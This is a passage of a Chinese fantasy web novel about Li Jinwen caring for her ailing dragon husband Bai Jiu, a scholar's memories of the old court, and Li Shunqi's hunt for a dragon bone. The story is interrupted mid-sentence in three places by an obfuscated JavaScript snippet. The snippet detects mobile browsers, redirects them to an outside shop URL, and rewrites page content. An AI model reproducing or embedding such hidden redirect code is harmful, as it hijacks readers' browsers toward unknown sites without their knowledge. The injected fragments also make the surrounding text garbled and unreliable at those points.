狸猫重磅现身,迈着轻盈的猫步,朝榻边走来,十分粗犷地“啊”了一声。 李舜齐被它吸引了注意,低头看去,狸猫又“啊”了一声,像个哑了嗓子的破风箱。 “你这叫声……怎么这么清奇?”李舜齐实在没见过不会“喵”只会“嗷”的小猫,没忍住,笑出声来。 狸猫似乎并不生气,又“嗷”了一声,还抖了抖鼻子,在榻边嗅着什么。 门上“吱呀”一声,李舜齐并未抬头,待来人绕过屏风,木制地板被敲得“咚咚”作响,狸猫似乎有所畏惧,快步蹿出门去,李舜齐才抬起头来。 来人是常照顾她的老妇,也是梁相旬口中的养母。 她提着一支拐杖,倚放在床边,道:“老头子给你打了一副拐,你想下床,可以拄着。” 李舜齐心里纳罕,这老妪今日竟肯说话,真是太阳打西边出来了。 心里虽这样想,可她懂得基本的礼节,遂笑道:“多谢阿婆。” 老妇似乎很不愿搭理她,却还是勉强开了金口:“不用客气。要谢就去谢梁相旬。” 老妇人说话的语气毫无波澜,李舜齐觉得自己昨日还是说浅了:这老妇人与梁相旬何止不像亲生母子,连养母子都不大像。 老妇人又将另一只手里托着的一摞书册放在床头,一句话没多说,折返回去。 李舜齐见她又要离开,赶在她迈出门槛之前道:“阿婆,麻烦您给我添一床被子,清晨有些凉。” 老妪听闻此言,迈出去的脚收回来。她缓慢地转过身,一双眼丝毫没有老人的浑浊模样:“你冷?” “冷啊。”李舜齐眨眨眼。 老妪:“现在是六月份,你竟觉得冷。” 李舜齐没觉得有什么问题。她头一回来滇南,只听说过这里气候差异极大,有的地方四季如春,有的地方闷热潮湿。她对此地百姓的习惯并不清楚,也不能明确判断冷暖。 老妪看了她一眼,转身时,目光在床头处的水球上掠过,嘀咕了一句:“竟还有几分异样。” 她也没说答不答应给李舜齐添被褥,只出了屋,重重关上门,脚步声渐远。 李舜齐无言,心说,如今说话了还不如不说话时的好。不开口时,看上去至少是温和的。 她将目光投向老妇人放下的书册,上手翻了翻,发现竟是一些民间杂记,虽不是什么正经书,不过解闷儿倒合适。 李舜齐欣然翻阅起来。 * 李锦闻没有想到,白九这场病竟然迟迟不见好。愈苍山的雨缠缠绵绵下了半个多月,终于才迎来了一个天朗气清的晴日。 前段时日,因着下雨,书院一直在休假,学生们有的不上学,有的留在书院里温书,先生们大多回了家。今日天一放晴,一切又该回归正轨了。 半个月来,白九高烧不退,外头又一直下雨,行事不便。李锦闻在家中照顾病人,心里想着既是照料,就该做出个诚心诚意的样子。于是她接手了一切家务,让白九安安心心当一个病患。 她如今的厨艺在白九的口述指导之下,已经精进了不少,至少她自己是这样认为的。 从前,她连生火都是问题,如今,也能完完整整做一顿饭了。 白九生着病,不需要吃太丰盛的食物;阿婆年纪也大了,无法消受太繁复的食物;而李锦闻自己,则是得过且过,要求不高,她吃得少,不饿肚子就成。半个月以来,她们家吃饭以清淡为主,每日就是白粥青菜换着来。 是以李锦闻的压力不算大。她如今掌握不好火候和饭量,煮出来的粥要不就像开水泡软的,米和汤各过各的;要么就是加多了米,火候大了直接熬成糊糊。 李锦闻觉得自己在驯服小动物方面很有天赋,从小只要是靠近她的小猫小狗,无论在旁人面前多么凶悍,只要来到她的身边,就会自动变得乖巧柔软,主动躺在地上露出肚皮给她摸。 然而,李锦闻觉得自己在驯服青菜方面,简直与上述情况相反。 头一回,她炒的青菜没有断生便急急忙忙出了锅,好在青菜这种东西,生着吃也不会有什么危险,一家人便凑合着吃掉了。 前两日,菜园子里的豆角已经攒了一大把,李锦闻兴致勃勃地要炒豆角。鉴于上次青菜的惨烈牺牲,白九千叮咛万嘱咐豆角一定要炒熟,否则会中毒。 李锦闻确实听进去了,只是有些过头。豆角出锅时,所有豆子集体离家出走,最后呈现在盘子里的,只有绿乎乎的烂泥和颗颗分明的豆子。 不过,还是要特别感谢家里的锅灶。毕竟在她如此不稳定的发挥之下,至少还没有糊过饭,李锦闻深感欣慰。 晴日的第一天,李锦闻早上做好了饭,给白九和阿婆吃过之后,才收拾东西,打算去一趟书院。 一来,距离长姐上次来信快要两个月了,李锦闻写了一封家信,想托山长帮她寄到滇南;二来,她想给自己告几天假,不只是因为白九病了,还因为她有其他事该处理一下了。 她叮嘱了白九一遍,让他安心修养,并言明自己会在午时之前回家,而后便出门了。 山间弥漫着一层淡淡的雾气,林子里泛着泥土的清香。李锦闻一向喜欢这种气味,一路上心旷神怡。 进了书院以后,她和储悦舒打了声招呼,二人寒暄两句,她便径直进了储清元的书房。 书房里依旧是熟悉的熏香,李锦闻总觉得这气味很熟悉,与书香混在一起,有些像京城里曾盛行过一阵子的香料。 那都是十八年前风靡一时的东西了,就连东宫里,都曾点过这种香。李锦闻想起来不免伤情,所以时常避着这间书室,偶尔进来,也会不自觉屏住呼吸。 她将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468853|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中的地方志放在桌上,储清元照例为她斟了一盏茶,却先提起了另一件事。 “两日前,朝廷颁布了一条政令。”储清元当了十几年教书先生,向来德高望重,说话时也有几分贵人语迟的意思,“广征术士,重设国师。” 李锦闻促然抬眸:“国师?新帝这是何意?” 储清元:“恐怕是内部出了什么难以解决的问题,他们才想起了国师。” 李锦闻语气渐冷,换了一个说法:“不是出了问题,是灾难。” 当初,太祖皇帝以治水而践祚,将跟随她一起抵御天灾的郭老仙封为国师。后郭老仙上书,声称大乾百姓再不会受天灾威胁,于是辞官归隐,太祖也顺势废除了国师一职。 如今,新帝重设国师,也只能是为了这一层目的。 储清元喃喃道:“莫非与龙骨有关?” 李锦闻眉头紧蹙,暂时想不通,就先和山长提了告假一事。 储清元抬眼看着她,问:“莫非是在这地方志中,发现了什么端倪?” 李锦闻轻轻摇头,否认:“地方志里的东西,还不足以令我产生怀疑。” 她叹了一口气,模棱两可地说:“是我自己,遇到了一些事,使我不得不抛开从前深信不疑的观点。” 李锦闻垂下眼眸。她上一次回家途中,在桑林里迷了路,清清楚楚感受到有一股无形的力量将她拉进了河水中。白九后来也说,他找到她的时候,她是漂浮在水面上的。 可是一个寻常的人,怎么可能会漂在水面上而不被溺死呢? 这半个月以来,李锦闻一直在回忆当日的情况,可始终弄不清自己是怎么在奔腾的河水中幸存下来的。 先前她的力气莫名其妙变大,直到现在,她都还没适应这种变化。如今又添了暴雨之下的这桩疑案,李锦闻决定挑个日子,亲自去山里探查一番。 她并未解释具体缘由,只道:“过几日,我去山里看看。” 储清元也不多问,叮嘱她:“万事小心。” 李锦闻留下了给阿姐的家书,便没再停留。说了这么多话,桌上的茶她却一口没喝。 储清元望着她挺拔卓然的背影,仰头,望着香炉上丝丝缕缕的轻烟,久久出神。 储悦舒正在院子里同一女学生讲话,见她出来,女学生行了一揖,便将说话的空间留给她们。 储悦舒带着几分关切,拉着李锦闻,问:“那日你回家,路上是不是遇上大雨了。我当时算着时辰,心里急得不行。你这几日都不见个信儿,可是淋雨病了?” 李锦闻摇摇头,温声道:“那日有惊无险,我没事,倒是我家里那位,病了好几日了。” “你夫君病了?”储悦舒讶然,“看着挺强健的一个人啊,病倒了?” 李锦闻叹了一口气:“这几日我在家照顾他,也是感受到了他的不易。其实从前一个人的时候没觉得有什么,家里人一多,才发现照顾人一点都不容易。” 储悦舒取笑她,“你从前才自己过了几日?不都是舜齐姐姐照料你么?后来连一个月都没有,你就成了婚。你呀,就是天生的富贵命,哪里自己操过心?” 李锦闻从前觉得自己命途坎坷,可细想起来,竟比普通人好了太多。至少暂时不用为几两碎银奔波,也总有人替她承担柴米油盐之乱。 这半个月里,她虽表现的乐此不疲,可她很心里清楚自己不擅长处理日常琐事。她不过是觉得白九自从和她成婚后,就一直在为她付出,也想在对方生病时,照料照料,以示回应罢了。 储悦舒见她心情低落,便不再玩笑,正色道:“他既病了,你家中是不是缺药?我这里东西多,给你捎着点。” 李锦闻仔细一想,前几日郎中提过两味药材,只可惜他家中没有了,想要还得去镇上买。如今对方问起来,她便开口和储悦舒提了。后者唤来家仆,吩咐了几句话,等着的功夫里与她聊天。待家仆回来时,直接带了一小包东西。 李锦闻有些惊讶,想打开查看。可储悦舒拦住她,笑道:“报答他人,做自己擅长的事才最为妥帖。” 15. 黯然神伤 李锦闻离开书院后,储悦舒进了父亲的书房。储清元依旧仰面靠坐在圈椅上,见她进来,只是轻轻瞥了一眼,没说话。 储悦舒在李锦闻方才落座的地方坐下,循着储清元的目光,望了一眼香炉上浅淡的烟。 熟悉的气味钻入鼻腔,书室里像是起了一层雾。 桌上的茶一口没动,已经冷了。 储悦舒端起茶盏,将杯中茶水倒进窗边的花盆中,说:“她次次来了都不喝,您还偏要给她泡这种茶。” 储清元沉默半晌,喟然长叹,似乎是在追忆很遥远的往事:“这是当年我第一次面见东宫时,太子殿下赐过的茶。” 储悦舒没接话。东宫,或者说京城,都与她没有关系。她生在愈苍山,彼时的储清元就已经是一个隐居山中的儒士了。 京城于她而言,只活在父亲的追忆和旁人的憧憬之中。 储清元端起茶壶,将剩余的茶水倒进杯中,一饮而尽。这副样子不像品茗,更像饮酒。 “那一日,京城的雨和愈苍山的一样大。东宫大殿里燃的是最时兴的岳弥香。” 储悦舒透过窗子,望着远山雾霭,只想到了程六郎离开前充满希冀的双眸。 他的父亲曾经何尝不是那样呢?希望得到君上的赏识,只可惜站错了队。 储悦舒有那么一瞬间,觉得自己多年的圣贤书不如不读。 * 自李锦闻出门后,白九就没再睡。他这些日子昏昏沉沉的,有时候甚至不知道想着什么就睡着了。 身为龙族,长这么大,二十年来他没像这样病过,一时不仅要承受身体上的病痛,还要忍受心里的患得患失。 他不知道自己这是怎么了。就连李锦闻也说他的病太奇怪,寻常人哪怕体弱,也没这么烧的,七天不退烧都该准备后事了,何况连烧半个月,没烧傻都是上辈子积福。 白九身上虚软无力,日日看着李锦闻忙前忙后。他的娘子,本该生在金玉堂里,当个受人照顾的富贵闲人,可如今为了他笨拙地洗衣做饭,在自己不喜欢做的事上气馁。 这简直是他的罪过,白九越发觉得自己不争气。 越是闲着,就越心焦。为免自己胡思乱想,白九挣扎着爬起来,打算收拾一下乱糟糟的屋子。 这个家如今变得和他初来时一个样儿了。脏衣服和干净的团成一团扔在床尾,有的挂在架子上,还有的搭在椅背上。 李锦闻的梳妆台上杂乱的摆放着被并不属于这个台面的物件,什么茶壶、书本、针线,甚至还横着一根筷子。 白九扶着桌子,缓缓出气,忍者那股眩晕劲儿,等稍微恢复些清醒,确定自己不会中道晕死在地上,他才开始缓慢地动作。 果然还是熟能生巧,白九一点一点将所有物件归位,动作虽慢,但好在不出差错。屋里很安静,猫和狐狸都趁着晴天跑进山里了,家中只有白九一个龙。 他将里屋收拾整洁之后,正要坐在椅子上歇息一会儿,却听见门口篱笆响了一声。白九立时起身,走到堂屋,向院子里张望。只见阿婆拄着拐杖出了门。 白九心里落寞了一瞬。还以为是娘子回家了。 阿婆毕竟是靠感应洞察周围的一切,很灵敏。白九在屋里看她,她便幽幽转身。 “眼盲的老阿婆,也要独自进山吗?”白九开口便夹枪带棒,丝毫不像个病人。 阿婆冷哼了一声:“眼盲也比某些人强,至少不至于卧病在床,什么忙都帮不上,白白劳累爱侣。” 这种话果真对白九管用,他垂下眼皮,默然不语。 阿婆不再理睬他。她的真身是一只老虎,然而,为了在李锦闻面前扮演一个年事已高的老妪,她自是要说自己饮食清淡,是以半个月以来,家中真的就没见过一点荤腥。 阿婆想不明白,李锦闻一个正常的人族,是怎么忍下来的。她听说人族里有长期茹素的修道者,她都有点怀疑李锦闻是不是修过此道了。 无论如何,她今日都得去山里捕一次猎,她一只老虎,这些日子都快吃成绵羊了。 白九独自站在堂屋里,黯然神伤。 方才阿婆的话确实说到她的心里去了。 他一连病了半个月,不仅无法像之前一样照料李锦闻,还需要麻烦她。 白九心里很清楚李锦闻当初为何决定与他成婚。他被收留的第二日,为了报答李锦闻的“救命之恩”,很有眼力见儿地帮她把家里收拾得格外妥帖,还大展身手,做了一顿丰盛可口的饭菜。 李锦闻当时眼睛亮晶晶的,仰头看着他,目光中充满了惊喜与崇拜。白九是靠着这个才登堂入室的,可是他现在连捡几件衣服都要歇上好一会儿。 他一边归置堂屋里乱放的锅碗瓢盆,一边胡思乱想,手上的动作也不禁滞涩了几分。 外头的太阳老高,已经过了正午。 李锦闻还没有回来。 白九觉得脑子里有无数颗小珠子跳来跳去,不住地敲击他的太阳穴。脑袋越来越重,炽烈的日光好像都照在了他身上,然而他根本没有出门。 又过了两刻,娘子依旧没有回家。她临走前说过会在午时之前回来,可现在已经接近未初了。 白九开始焦躁不安。 娘子这些日子照顾他实在辛苦,昨夜还拉着他的手,满面哀愁地说“九郎怎么还不病愈?九郎快快好起来吧。” 虽然她说话时柔声细语,可白九还是忍不住忧虑。 娘子是不是嫌他麻烦,不想管他了?是不是他太脆弱,太没用,娘子厌烦了他,要抛弃他了? 娘子有自己的事要做,还有学生要教,不可能一直迁就他。她会不会已经在计划着离开,计划着抛下他了? 或者说,娘子是不是已经离开了?早上说去书院不过是为了稳住他,让他不要像块狗皮膏药一样黏着她。或许娘子实际上已经离开了愈苍山的地界…… 毕竟李锦闻本来就不属于这里,她的家乡不在愈苍山,离开时也会很干脆的吧…… 一想到这种情况,白九便再也坐不住了。他猛地站起来,就要冲出去寻人。可他实在头晕,出门时竟撞到了门框上。 “先去看看你夫君怎么回事!我一个人能走回去!” 是阿婆的声音。 李锦闻快步进门,堪堪在白九要跌倒时托住了他。还好她如今力气够大,不然恐怕要和白九一道砸在地上。 她迅速将手里的东西放在一旁,唤着白九的名字,扶着人往里屋走。 白九意识混沌,模模糊糊看见了想见的人,便紧紧抓住对方的手腕。 李锦闻将他扶到床上躺好,看见屋里被收拾得整整齐齐,不由叹声道:“你怎么闲不住?不是让你好生养病么?怎么非要爬起来?” “娘子……你别生气,也别着急。”白九牵着她的手晃了晃,声音很小。 李锦闻没忍住多说了他一句:“你这是要做什么?还嫌自己不够难受吗?” 白九眉头皱得很紧,也不知是不是身上不舒服,李锦闻要起身,却被他抓着手腕不放。她静静看了一眼白九抓着自己的手,没说话,掰开了他收紧的五指。 白九的目光始终追逐着她,心里像被一根根小刺扎过一般,密密麻麻地疼。李锦闻一眼没多看他,径直走进了外间。 他直觉李锦闻不太高兴,好像是有一点生气的,可他不知道自己哪里做错了,明明他把家中一切都收拾得很干净,明明从前他做好一件事都能得到李锦闻的夸奖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468854|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是今日的李锦闻一句话没多说,看上去还很不想理他。 哪里出了问题呢?白九哀哀地想。 他眼眶里一阵酸,视线也朦胧起来。 李锦闻折返回来了,手里提着一只木盒。 “委屈了?”她淡声问,随后将手中的盒子放在桌上,打开,将里面的盘子一个个摆出来。 白九闻到了饭菜的香气。 李锦闻分别盛了两份饭菜,本想叫白九来吃,一回头却见对方眼眶红了,两滴清泪正从他眼角滑落。 都哭成这样了还怎么吃饭。李锦闻无奈地叹了一口气,放下碗筷,坐到了床沿上。 “别哭了,午饭再不吃,一会儿又要晕了。” 白九只是看着她,眼神里还有几分说不出的幽怨:“娘子,我以为你不要我了。” 李锦闻:“瞎想什么呢?我做什么了,总让你以为我要抛弃你?” 白九向来没有安全感,从前没事的时候,就总要找时机问她一句是不是后悔成婚了。自从生病以来,他更是变本加厉,几乎是每日都在害怕会不会被抛弃。夜里李锦闻起身关窗,他醒来发现她不在身边,都要追出来确认。 李锦闻有意杀一杀他这股子没由来的不安。 白九轻声解释道:“你说午时之前回来的,我等了好久,有些着急,想出去找找娘子。” 李锦闻此时觉得这白九实在不大聪明,语气不失几分揶揄:“所以就差点在门口摔晕了?” 白九的眼圈顿时更红了:“娘子,我是不是很没用啊……” “没说你没用。病的都站不稳了,还能把家里弄得这么干净。哪里没用了?” 李锦闻在讽刺他,她还是没消气。 她眸光深邃地瞧着他,眼皮一眨不眨,这是白九最怕的那种眼神,可他却忽然福至心灵。 他撑着床板坐起来,用袖子一抹,擦干了眼泪,对李锦闻说:“娘子,我好好吃饭,再也不乱动了。” 李锦闻给她倒了一盏茶,白九乖乖喝下,她才将盛好的饭菜递给他,白九埋头吃起来。 “我去给阿婆送饭,你慢慢吃。” 白九短暂地抬起头,愣愣地看着李锦闻起身出门,才又继续吃饭。 李锦闻回来的时候,白九的碗里已经下去了一半的饭菜。她歉然道:“我做饭不好吃,这段时间委屈你了。” 白九摇了摇头,也很愧疚:“是我给娘子添麻烦了,害得娘子不能上值。” “以后不要说这种话了,你我不是夫妻吗?我跟你说过的,夫妻一体,若是斤斤计较,慢慢就生分了。” 白九此刻很乖,情绪好像也已经稳定下来,至少能听得进去李锦闻讲道理。 “嗯,都听娘子的。” “我今日去书院,和悦舒多聊了几句,她听说你病了,送了我一些药,晚上我熬给你吃,至少会比前些日子用的那些管用点。”李锦闻慢条斯理地吃完饭,才开始解释今日回家晚的缘由,“悦舒怕我忙碌,所以特地留我到饭点,这样就能给你们捎一顿好点的餐饭。” “回来的路上,林中不知为何传出了虎啸,我急匆匆往回走,却撞上了阿婆。她老人家自个儿进了林子,我很后怕,慢悠悠扶着她回来的,这才误了时辰。” 白九听着她的叙述,心里明白,李锦闻听见的虎啸多半来自化为原型出去觅食的阿婆。而阿婆可能是看见李锦闻回来,匆匆变回人形却来不及赶回家,才正好被李锦闻在半路上碰见了。 他满是病容的脸上溢出一个笑:“今日是我多心,以后都不会了。” 李锦闻总觉得他此话半真半假,白九下次估计也不会改,不过她还是应了一声“好”。 态度不错,以资鼓励。 16. 病病缠缠 李舜齐的身体忽然好得快了起来。 其实她也没有受过这么严重的伤,严重到都要丢掉半条命。所以她并不了解真正的养伤是怎么个流程,也不了解什么样的伤几天能好。 痊愈得快自然是好事,李舜齐并不过多纠结。她每日可以下地走动的时间越来越久,没过两天就完全可以自理了。自那之后,曾照顾她的老妇人就再没现身,好像她根本不住在这方宅院里一般。 半个多月过去,她身上的伤口已经愈合,只需静静等着掉痂。李舜齐住在这里,总不好意思白受恩惠,于是便帮着梁相旬做事。其实家里好像也没什么需要做的,最多就是在对方种花草时帮忙刨个坑。 几天下来,李锦闻和梁相旬渐渐熟稔起来。 “你种的这是什么?” 梁相旬神色淡然,道:“不知道,长什么种什么。” 李舜齐噎了一下,她怀疑这人是不想搭理她,胡说八道来打发她的。 梁相旬察觉到她审视的目光,从喉咙里发出一声轻笑:“别这么看我,我说的是真的。” 李舜齐不信,低头挖坑,没接话。 梁相旬在她刚挖的坑里埋下一颗种子,解释道:“给别人种的,我只负责照看,所以它长什么我就种什么了。” “这样啊……”李舜齐眨了眨眼睛,想起她昏睡时曾听见的谈话内容。 这个地方的很多事都透着一股怪异,李舜齐从第一天就没放松过警惕。可她身负重伤,这荒郊野岭的无处可去,还需要仰仗梁相旬养伤,所以就只能一边揣着明白装糊涂,一边暗中留意此地的情况。 她猜测,梁相旬兽医的身份恐怕也不怎么真,不然怎么这么多日了,还没见过他给什么东西治伤;梁相旬那所谓的养父母,应当也有问题,李舜齐总能在那老妇身上察觉出一种非人的冷漠,那老翁她虽只见过一次,可也总觉得有种说不上来的怪异感。 还有三人最初谈话时,提到的那个“主上”…… 梁相旬到底在给什么人做事,这些不知所谓的花草也是给那个人种的么? 她试探着挑起话头:“你每年都会种些花草吗?” 梁相旬回答得很干脆:“每年都种,不过没用上过。” 李舜齐:“没用上过……好可惜啊。” “可惜……”梁相旬好像第一次意识到这种想法似的,念念有词地重复了一遍,才抬起头,意味深长地看着李舜齐,说,“希望今年能用上吧。” 他的目光实在有些奇怪,好像带着探究,又似遗憾,还有几分复杂的欲说还休。 李舜齐被突然投过来的目光搞得有些不自在,她垂下眼,思量着换了一个话题:“此处太平么?” 梁相旬却问:“你说哪方面?” 李舜齐心下奇怪,还能是哪方面? 心里虽这样想,她还是认认真真回:“民生。” “我不怎么出山,不太清楚。不过应当是太平的吧。”梁相旬想了想,忽然说,“不然几百年前太祖皇帝也不会选择隐居于此。” 李舜齐忽然听他提到这个,心跳猛地变快,她犹豫了一会儿,才说:“你竟对庙堂之事也有兴趣?” 梁相旬笑道:“这算江湖。” “那——既然太祖皇帝隐居在这里,烛宁肯定流传着不少与此事相关的传言吧?” “有啊,”梁相旬瞥了她一眼,“据说当年太祖皇帝乘龙而来,她过世的那一日,山间曾有龙吟之声,婉转凄切。后来,烛宁连续下了近半年的雨。” 李舜齐蹙眉:“下了半年的雨?那岂不是要发洪水?百姓的庄稼怎么办?” “没有,那雨下得奇异。缠缠绵绵,只落小小的雨滴,大多数时候都是罗面雨。而且,几乎是连下四五日,就晴一两天,等水迹都干了,又开始下。至于庄稼,这里荒无人烟,种什么不长什么,百姓本就不靠这个过活。” 李舜齐:“……不愧是太祖皇帝。” 死都这么有排面,过世都保佑百姓免于天灾。 两个人很播种完毕。梁相旬直起身子,拍了拍手上的泥土,交待:“明日我要出门看诊,路远,兴许得有个四五日才能回来。宅子里的东西你随便用,若是无聊了,书房里的书也可随意翻看。只是保持整洁即可。另外,尽量不要外出,山林里野兽多。” 李舜齐的关注点在书房里,她抬起晶亮的眸子,确认了一遍:“书可以随意翻看?” 梁相旬耐心地点点头,道:“可以。” 李舜齐站起身,正欲往屋里跑,又想到什么,转回来,客套:“呃……其实我的伤已经不碍事了,你一个人出门看诊,会不会很累?若是需要,我可以跟你一起。我虽不懂药理,但打下手还是没问题的。” 她笑盈盈看着他,梁相旬却没从她的笑容里感受到几分真诚。 于是他很识趣地回道:“不必了。” 李舜齐欣然应下,头也不回地去书房了。她本来也是知道梁相旬不需要她相助的,不然,她连客套都不会开口。 前几日,老妇人顺手给她带的几本书里,有不少关于妖神鬼怪的秘闻,甚至还提到了与龙族相关的内容。虽说这些书都是百家杂言,不乏杜撰之说,但李舜齐想着既能被记录在册,那定然也不会全是空穴来风。 如今,她寻龙骨,自然是一丝一毫的线索都不能放过。 两日过去,她将梁家书房里的书都浏览了一遍。 梁相旬这个人,看上去是个文弱青年,没想到研究的东西还挺杂,什么武功秘籍、风水堪舆、奇门遁甲、甚至是降妖除魔,他似乎都有所涉猎。 这些书里,与龙族相关的内容不算多,于她有用的东西更是微乎其微。到了第三日,她终于放弃了在书本上寻找答案。 梁相旬临走前,特意叮嘱她最好不要出门,李舜齐自然是不会听的。她在院子里转悠了两圈,最后去药房拿了几个瓶瓶罐罐,抄起自己的佩剑,再次踏入了山林。 先祖墓不能不查看。 * 李锦闻给白九用的药似乎依旧不怎么起作用,他的病没有减轻,也没有加重。白九的身体好像停留在某一个状态,不上不下,病病缠缠。 不过,比之前好一点的是,他不怎么闹了。不,更准确地说,他是不在言语上表现自己的焦虑了,而是在行动上更为黏人。 比如,早上李锦闻起床的时候,白九还在睡。她尽可能放轻动作,可白九似乎永远睡得浅,她一只脚刚踏下床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473844|201366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,甚至没来得及站直身体,就被白九抓住了手腕。 李锦闻身形一滞,正欲转回身去。白九似乎意识到自己又应激了,于是立刻松手,可他那双因困顿和疾病而不甚清明的眼睛却一直追着李锦闻。 李锦闻通常会吻他一下,以示安抚。几天过去,这似乎就成了晨起时的一个惯例。如果早上李锦闻起身后忘记了给她的夫君一个吻,他就会一直盯着她看,如果她要出卧房时还未察觉,白九就会轻轻唤一声: “娘子……” 然后他什么也不说,只是可怜巴巴地看着她,等她自己意识到问题。 这天,天气凉爽,晨风里好容易没有夹着热浪,李锦闻将白九安置在屋檐下的躺椅上,自己则蹲在小院里蹂躏阿狐。 隔壁,阿婆吃完早饭,照例坐在院子里消食。她眼睛不好,却不妨碍和小黄玩耍。 嗯……应该也算不上玩耍,更像是掐架。 说来也怪,小黄似乎只有在李锦闻面前乖顺可爱。其他人,无论是白九还是阿婆,无论给它多诱人……诱猫的食物,这小猫似乎都能保持“贫贱不能移”的优秀品格。 小黄弓着背,嘴里嗷嗷叫着,还抬起一只前爪来,“邦邦邦”往阿婆脚下招呼。毕竟只是一只小猫,力量有限,根本无法对阿婆造成什么威胁,阿婆就乐此不疲地逗着猫玩儿。 “呦!咪咪孝顺孩子,知道给我老婆子挠痒痒喽!” 小黄嚎的——或者说骂的更难听了。 欠扁的老虎!欺负小咪不会说人话! 小猫下定决心绝不再偷懒,从明天开始好好修炼!争取早日成灵! 李锦闻看着阿婆和小黄玩得挺开心,低头,笑出了声。 阿狐扫了扫毛茸茸的大尾巴,李锦闻面对着蓬松光滑又柔软的狐尾,不禁手痒,上手抓了一把。 阿狐神情一僵,李锦闻身为一个人族,自然未曾分辨。 白九在檐下轻声提醒:“娘子,不要攥别的小动物的尾巴。” 李锦闻回头瞥了他一眼,又攥了一下手中的狐尾。 狐狸噌地立正了。 李锦闻正要开口和小狐狸交流,却听远远的传过来一道晴朗的少年声: “看来这位老阿婆很喜欢和猫咪置气啊!” 众人循声望去,见是一蓝衣少年脚步轻盈地往这边走。 狐狸一瞅见来人,就迅速地奔了出去,朝着林子里蹿,眨眼间没了踪迹。李锦闻的注意力全放在忽然出现的少年身上,便没管它,由着它藏去了。 少年中等个头,圆脸,两颊还膨着稚气。他扎着高马尾,一条蓝色的发带随风荡在青丝间,更添了几分活力。 阿婆抬着脸,眼睛虽依旧无神,却做出了类似端详的神态。她苍老的眉头轻轻蹙起,一向缺失神采的双眸中,仿佛露出了几分讶然。 小黄见着少年,慢悠悠躲回窝里,伸着一条腿舔毛,好像很忙。 “老婆子自然不如小少年潇洒,逗猫作乐,聊以慰藉罢了。” 李锦闻听到这一老一少的对话,心下纳罕,如此调侃,竟如从前相识一般。 白九也和她想到一处去了,他扶着椅子把手站起身,笑问:“阿婆莫非认识这——小兄弟?”